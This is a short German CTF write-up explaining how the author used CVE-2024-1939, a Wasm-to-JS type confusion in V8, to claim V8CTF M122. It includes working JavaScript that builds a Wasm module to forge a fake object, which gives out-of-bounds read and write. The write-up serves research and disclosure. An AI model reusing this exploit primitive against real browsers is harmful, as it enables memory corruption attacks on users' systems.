
For V8CTF M122
Dies ist ein kurzer Writeup für die CVE-2024-1939, mit dem ich V8CTF M122 beanspruchte.
Die Ursache dieses Problems ist die fehlende Unterstützung für kWasmS128 bei der Konvertierung von Wasm zu JS. Insbesondere werden wasmS128Const-Operationen, die in Parameter-Stacks auftreten, ignoriert, was zu Typverwirrung führt, wenn ein ExprRef in den Parametern vorhanden ist.
Im Detail führt dies dazu, dass ein int/float direkt in ein Objekt konvertiert wird. Daher ist es einfach, ein gefälschtes Array mit beliebiger Länge zu konstruieren, was uns die Möglichkeit für OOB-Read und Write gibt. Es gibt jedoch noch ein Hindernis zu umgehen: Der wasmS128Const ersetzt nur Float-Typ-Parameter, die im FPSlot gespeichert werden, und beeinflusst nicht die getaggten Parameter, die im GPSlot gespeichert werden. Die Möglichkeiten liegen im StackSlot. Die FP/GP-Register haben Größenbeschränkungen. Danach werden die Parameter der Reihe nach im StackSlot gespeichert. Wenn wir die Register füllen und eine Float-Zahl auf den StackSlot legen, wird der getaggte Parameter vom StackSlot geparst und uns unser gefälschtes Objekt liefern.
Der finale Exploit wird den Builder dieses Wasm-Moduls der Einfachheit und Geschwindigkeit halber nicht enthalten, daher werde ich ihn hier anhängen.
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
Ein Worker wird verwendet, um den Speicher zu stabilisieren, da festgestellt wurde, dass Adressen in Worker-Threads relativ stabil bleiben.
Für Sandbox-Bypässe siehe V8-Sandbox-Escape-via-Regexp. Der finale Exploit verwendet normale ORW-Ketten, um das Flag über stderr zu schreiben.